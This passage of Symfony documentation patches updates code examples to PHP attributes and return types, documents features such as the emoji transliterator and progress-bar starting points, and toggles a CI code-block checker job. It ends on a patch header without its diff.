index 470e48059f2..0468b03becd 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -68,19 +68,16 @@ This will generate your new entity class::
 
     // ...
 
+    #[ORM\Entity(repositoryClass: CategoryRepository::class)]
     class Category
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
         private $id;
 
-        /**
-         * @ORM\Column(type="string")
-         */
-        private $name;
+        #[ORM\Column]
+        private string $name;
 
         // ... getters and setters
     }
@@ -380,12 +377,11 @@ Now you can see this new code in action! Imagine you're inside a controller::
     use App\Entity\Product;
     use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="product")
-         */
+        #[Route('/product', name: 'product')]
         public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();

From e475cf0521f862867a0df982b30e38e512e52c29 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 1 Aug 2022 20:32:24 +0200
Subject: [PATCH 2123/5766] [HttpKernel] Add return type for handle method

Response return type hint has been added in v6.0
---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 93d2751a9be..52a0cee8332 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -67,7 +67,7 @@ that system::
             Request $request,
             int $type = self::MAIN_REQUEST,
             bool $catch = true
-        );
+        ): Response;
     }
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -

From 45767ac524584c35436416f46ac833f53493bc56 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 1 Aug 2022 21:27:11 +0200
Subject: [PATCH 2124/5766] Fix typo choice_translation_domain option

---
 .../forms/types/options/choice_translation_domain.rst.inc      | 3 ---
 .../types/options/choice_translation_domain_disabled.rst.inc   | 3 +++
 .../types/options/choice_translation_domain_enabled.rst.inc    | 3 +++
 3 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index e676567a057..fa2dcef217f 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,6 +1,3 @@
-``choice_translation_domain``
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
 This option determines if the choice values should be translated and in which
 translation domain.
 
diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
index d9e711f0a07..117d3d9a390 100644
--- a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
@@ -1,3 +1,6 @@
+``choice_translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``false``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
index dad2666f9c4..2f6722f7838 100644
--- a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
@@ -1,3 +1,6 @@
+``choice_translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``true``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc

From 1c9b524c9b05ed181888f70cef7af20eacc75679 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 1 Aug 2022 21:33:10 +0200
Subject: [PATCH 2125/5766] Better explaining what `getParent` actually does

Main reason for changing this is to stop presenting `getParent()` of being the "default" (or normal) way of doing it.

* I removed the "PHP extension" note-box, cause the (new) text for `getParent()` makes it clear what this does.
* I moved `finishView()` one paragraph up (didn't change anything)
* Moved all `getParent`-related stuff into its paragraph, and moved it to the top (since it's the most important question in the beginning)
---
 form/create_custom_field_type.rst | 48 ++++++++++---------------------
 1 file changed, 15 insertions(+), 33 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 20861ca13bc..af9e79f7723 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -55,19 +55,11 @@ By convention they are stored in the ``src/Form/Type/`` directory::
         }
     }
 
-The methods of the ``FormTypeInterface`` are explained in detail later in
-this article. Here, ``getParent()`` method defines the base type
-(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+``getParent()`` tells Symfony to take ``ChoiceType`` as a starting point,
+then ``configureOptions()`` overrides some of its options. (All methods of the
+``FormTypeInterface`` are explained in detail later in this article.)
 The resulting form type is a choice field with predefined choices.
 
-.. note::
-
-    The PHP class extension mechanism and the Symfony form field extension
-    mechanism are not the same. The parent type returned in ``getParent()`` is
-    what Symfony uses to build and manage the field type. Making the PHP class
-    extend from ``AbstractType`` is only a convenient way of implementing the
-    required ``FormTypeInterface``.
-
 Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     // src/Form/Type/OrderType.php
@@ -123,15 +115,17 @@ convenient to extend instead from :class:`Symfony\\Component\\Form\\AbstractType
         // ...
     }
 
-When a form type doesn't extend from another specific type, there's no need to
-implement the ``getParent()`` method (Symfony will make the type extend from the
-generic :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`,
-which is the parent of all the other types).
-
 These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
+``getParent()``
+    When returning a (fully-qualified) class name here, Symfony will call each
+    method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
+    type extensions, before calling the corresponding method of your custom type.
+    This is probably a good idea if you're just changing some details of an
+    existing type. To start from scratch, just omit ``getParent()``.
+
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used
     when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
@@ -139,28 +133,16 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use ``buildView()`` instead.
 
-``getParent()``
-    If your custom type is based on another type (i.e. they share some
-    functionality) add this method to return the fully-qualified class name
-    of that original type. Do not use PHP inheritance for this.
-    Symfony will call all the form type methods (``buildForm()``,
-    ``buildView()``, etc.) of the parent type and it will call all its type
-    extensions before calling the ones defined in your custom type.
-
-    By default, the ``AbstractType`` class returns the generic
-    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
-    type, which is the root parent for all form types in the Form component.
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~

From a407cf83a8ea4081a68033c036789f23813a0d4c Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 2 Aug 2022 20:03:08 +0200
Subject: [PATCH 2126/5766] [ErrorHandler] Add return type hints

Added return type hints for normalize & supportsNormalization (v6.0)
---
 controller/error_pages.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 320c1aaae62..0862c506d74 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -220,7 +220,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, string $format = null, array $context = [])
+        public function normalize($exception, string $format = null, array $context = []): array
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -231,7 +231,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, string $format = null): bool
         {
             return $data instanceof FlattenException;
         }

From 721aa63d8c4fc25b3054682b52105c8acc32a56b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 22:24:36 +0200
Subject: [PATCH 2127/5766] [Lock] Add reference tip for the InMemoryStore lock

---
 components/lock.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 6660b9c9965..1c141e16e73 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -667,6 +667,14 @@ PHP process is terminated::
     Zookeeper does not require a TTL as the nodes used for locking are ephemeral
     and die when the PHP process is terminated.
 
+InMemoryStore
+~~~~~~~~~~~~~
+
+.. tip::
+
+    An ``InMemoryStore`` is available for saving lock in memory during a process,
+    and can be useful for testing.
+
 Reliability
 -----------
 

From b26bb7860a6a324a70e4f3eaa2374b8e1bb7afc1 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:04:43 +0200
Subject: [PATCH 2128/5766] Remove reference of Swift Mailer

---
 controller/soap_web_service.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index effa613c1c5..fe92a60c4ba 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -27,22 +27,27 @@ In this case, the SOAP service will allow the client to call a method called
     // src/Service/HelloService.php
     namespace App\Service;
 
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\Email;
+
     class HelloService
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
-        public function __construct(\Swift_Mailer $mailer)
+        public function __construct(MailerInterface $mailer)
         {
             $this->mailer = $mailer;
         }
 
-        public function hello($name)
+        public function hello(string $name): string
         {
-            $message = (new \Swift_Message('Hello Service'))
-                ->setTo('me@example.com')
-                ->setBody($name.' says hi!');
+            $email = (new Email())
+                ->from('admin@example.com')
+                ->to('me@example.com')
+                ->subject('Hello Service')
+                ->text($name.' says hi!');
 
-            $this->mailer->send($message);
+            $this->mailer->send($email);
 
             return 'Hello, '.$name;
         }

From 18006fb92dc88e25a83fea00c334a265cb10f922 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:24:47 +0200
Subject: [PATCH 2129/5766] [Mailer] Document the stop() method of
 SmtpTransport

---
 mailer.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fd079e260c3..e83c60e20c0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1240,6 +1240,19 @@ disable asynchronous delivery.
                 ->messageBus('app.another_bus');
         };
 
+.. note::
+
+    In cases of long-running scripts, and when Mailer uses the
+    :class:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport`
+    you may manually disconnect from the SMTP server to avoid keeping
+    an open connection to the SMTP server in between sending emails.
+    You can do so by using the ``stop()`` method.
+
+.. versionadded:: 6.1
+
+    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop()`
+    method was made public in Symfony 6.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 1c691ffa8f31e6819eac69e0b1e9621a73a4699a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:11:01 +0200
Subject: [PATCH 2130/5766] [Console] Document the option about progress bar
 starting points

---
 components/console/helpers/progressbar.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index a4b721dfad3..94f2a550f80 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -46,6 +46,22 @@ Instead of advancing the bar by a number of steps (with the
 you can also set the current progress by calling the
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::setProgress` method.
 
+If you are resuming long-standing tasks, it's useful to start drawing the progress
+bar at a certain point. Use the second optional argument of ``start()`` to set
+that starting point::
+
+    use Symfony\Component\Console\Helper\ProgressBar;
+
+    // creates a new progress bar (100 units)
+    $progressBar = new ProgressBar($output, 100);
+
+    // displays the progress bar starting at 25 completed units
+    $progressBar->start(null, 25);
+
+.. versionadded:: 6.2
+
+    The option to start a progress bar at a certain point was introduced in Symfony 6.2.
+
 .. tip::
 
     If your platform doesn't support ANSI codes, updates to the progress

From a6e9bc75117b6d15e8ce63f1178c9ab5887b6d9d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:37:11 +0200
Subject: [PATCH 2131/5766] [Intl] Document the emoji transliterator

---
 components/intl.rst   | 31 +++++++++++++++++++++++++++++++
 components/string.rst |  7 +++++++
 2 files changed, 38 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index 8e5ce01be50..df3d579540e 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -39,6 +39,7 @@ This component provides the following ICU data:
 * `Locales`_
 * `Currencies`_
 * `Timezones`_
+* `Emoji Transliteration`_
 
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -359,6 +360,35 @@ to catching the exception, you can also check if a given timezone ID is valid::
 
     $isValidTimezone = Timezones::exists($timezoneId);
 
+.. _component-intl-emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The Empoji transliteration feature was introduced in Symfony 6.2.
+
+The ``EmojiTransliterator`` class provides an utility to translate emojis into
+their textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    // describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+.. tip::
+
+    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger>`
+    to improve the slugs of contents that include emojis (e.g. for URLs).
+
 Learn more
 ----------
 
@@ -381,3 +411,4 @@ Learn more
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/string.rst b/components/string.rst
index c71d68a704e..455ef90eafe 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -451,6 +451,8 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
+.. _string-slugger:
+
 Slugger
 -------
 
@@ -486,6 +488,11 @@ another separator as the second argument::
     $slug = $slugger->slug('Wôrķšƥáçè ~~sèťtïñğš~~', '/');
     // $slug = 'Workspace/settings'
 
+.. tip::
+
+    Combine this slugger with the :ref:`Symfony emoji transliterator <component-intl-emoji-transliteration>`
+    to improve the slugs of contents that include emojis (e.g. for URLs).
+
 The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::

From 8f250a28a0b30a2a7e601efecd2ef23d8106e134 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 12:58:35 +0200
Subject: [PATCH 2132/5766] Disable code checker temporarily in GitHub CI until
 we can fix it

---
 .github/workflows/ci.yaml | 138 +++++++++++++++++++-------------------
 1 file changed, 69 insertions(+), 69 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index ff907ded099..908304db656 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -74,72 +74,72 @@ jobs:
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
-    symfony-code-block-checker:
-        name: Code Blocks
-        runs-on: Ubuntu-20.04
-        continue-on-error: true
-        steps:
-          - name: Checkout code
-            uses: actions/checkout@v2
-            with:
-                path: 'docs'
-
-          - name: Set-up PHP
-            uses: shivammathur/setup-php@v2
-            with:
-                php-version: 8.1
-                coverage: none
-
-          - name: Fetch branch from where the PR started
-            working-directory: docs
-            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-          - name: Find modified files
-            id: find-files
-            working-directory: docs
-            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
-
-          - name: Get composer cache directory
-            id: composercache
-            working-directory: docs/_build
-            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-          - name: Cache dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v2
-            with:
-                path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-          - name: Install dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-          - name: Allow Flex
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              composer config --no-plugins allow-plugins.symfony/flex true
-
-          - name: Install test application
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-              cd _sf_app
-              composer update
-
-          - name: Generate baseline
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              CURRENT=$(git rev-parse HEAD)
-              git checkout -m ${{ github.base_ref }}
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-              git checkout -m $CURRENT
-              cat baseline.json
-
-          - name: Verify examples
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+    # symfony-code-block-checker:
+    #     name: Code Blocks
+    #     runs-on: Ubuntu-20.04
+    #     continue-on-error: true
+    #     steps:
+    #       - name: Checkout code
+    #         uses: actions/checkout@v2
+    #         with:
+    #             path: 'docs'
+
+    #       - name: Set-up PHP
+    #         uses: shivammathur/setup-php@v2
+    #         with:
+    #             php-version: 8.1
+    #             coverage: none
+
+    #       - name: Fetch branch from where the PR started
+    #         working-directory: docs
+    #         run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+    #       - name: Find modified files
+    #         id: find-files
+    #         working-directory: docs
+    #         run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+    #       - name: Get composer cache directory
+    #         id: composercache
+    #         working-directory: docs/_build
+    #         run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+    #       - name: Cache dependencies
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         uses: actions/cache@v2
+    #         with:
+    #             path: ${{ steps.composercache.outputs.dir }}
+    #             key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+    #             restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+    #       - name: Install dependencies
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+    #       - name: Allow Flex
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: |
+    #           composer config --no-plugins allow-plugins.symfony/flex true
+
+    #       - name: Install test application
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: |
+    #           git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+    #           cd _sf_app
+    #           composer update
+
+    #       - name: Generate baseline
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         working-directory: docs
+    #         run: |
+    #           CURRENT=$(git rev-parse HEAD)
+    #           git checkout -m ${{ github.base_ref }}
+    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+    #           git checkout -m $CURRENT
+    #           cat baseline.json
+
+    #       - name: Verify examples
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         working-directory: docs
+    #         run: |
+    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 4e7556d3d8db007eb8ff6ffea22acb5174aea86b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 13:07:35 +0200
Subject: [PATCH 2133/5766] [ExpressionLanguage] Remove an unused reference

---
 components/expression_language/syntax.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6e457acd7ea..9f0ace947b0 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -353,5 +353,3 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
-
-.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From fcb4b81df98bb8271d6f00a0bf58c4cee3147d9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 13:08:21 +0200
Subject: [PATCH 2134/5766] [ExpressionLanguage] Readd a needed reference

---
 components/expression_language/syntax.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index bc324e1a904..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -370,3 +370,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From 7bff8b5c1afc18965f9eed95582394104e2867db Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 3 Aug 2022 13:07:35 +0200
Subject: [PATCH 2135/5766] Enable code blocks

---
 .github/workflows/ci.yaml | 133 ++++++++++++++++++--------------------
 _build/composer.json      |   5 +-
 security.rst              |   1 -
 3 files changed, 68 insertions(+), 71 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 908304db656..b241ec33747 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -74,72 +74,67 @@ jobs:
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
-    # symfony-code-block-checker:
-    #     name: Code Blocks
-    #     runs-on: Ubuntu-20.04
-    #     continue-on-error: true
-    #     steps:
-    #       - name: Checkout code
-    #         uses: actions/checkout@v2
-    #         with:
-    #             path: 'docs'
-
-    #       - name: Set-up PHP
-    #         uses: shivammathur/setup-php@v2
-    #         with:
-    #             php-version: 8.1
-    #             coverage: none
-
-    #       - name: Fetch branch from where the PR started
-    #         working-directory: docs
-    #         run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-    #       - name: Find modified files
-    #         id: find-files
-    #         working-directory: docs
-    #         run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
-
-    #       - name: Get composer cache directory
-    #         id: composercache
-    #         working-directory: docs/_build
-    #         run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-    #       - name: Cache dependencies
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         uses: actions/cache@v2
-    #         with:
-    #             path: ${{ steps.composercache.outputs.dir }}
-    #             key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-    #             restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-    #       - name: Install dependencies
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-    #       - name: Allow Flex
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: |
-    #           composer config --no-plugins allow-plugins.symfony/flex true
-
-    #       - name: Install test application
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         run: |
-    #           git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-    #           cd _sf_app
-    #           composer update
-
-    #       - name: Generate baseline
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         working-directory: docs
-    #         run: |
-    #           CURRENT=$(git rev-parse HEAD)
-    #           git checkout -m ${{ github.base_ref }}
-    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-    #           git checkout -m $CURRENT
-    #           cat baseline.json
-
-    #       - name: Verify examples
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         working-directory: docs
-    #         run: |
-    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+            with:
+                path: 'docs'
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.1
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            working-directory: docs
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            working-directory: docs
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            working-directory: docs/_build
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            uses: actions/cache@v2
+            with:
+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
diff --git a/_build/composer.json b/_build/composer.json
index fd7ec177c15..57b77fa5808 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -8,7 +8,10 @@
         "preferred-install": {
             "*": "dist"
         },
-        "sort-packages": true
+        "sort-packages": true,
+        "allow-plugins": {
+            "symfony/flex": true
+        }
     },
     "require": {
         "php": ">=7.4",
diff --git a/security.rst b/security.rst
index 9adfe5f252c..2b4ee776d63 100644
--- a/security.rst
+++ b/security.rst
@@ -4,7 +4,6 @@
 Security
 ========
 
-
 Symfony provides many tools to secure your application. Some HTTP-related
 security tools, like :doc:`secure session cookies </session>` and
 :doc:`CSRF protection </security/csrf>` are provided by default. The

From 1c82adfba8346f741688856061a1b6f26d3eb48a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 15:43:50 +0200
Subject: [PATCH 2136/5766] Minor tweak

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

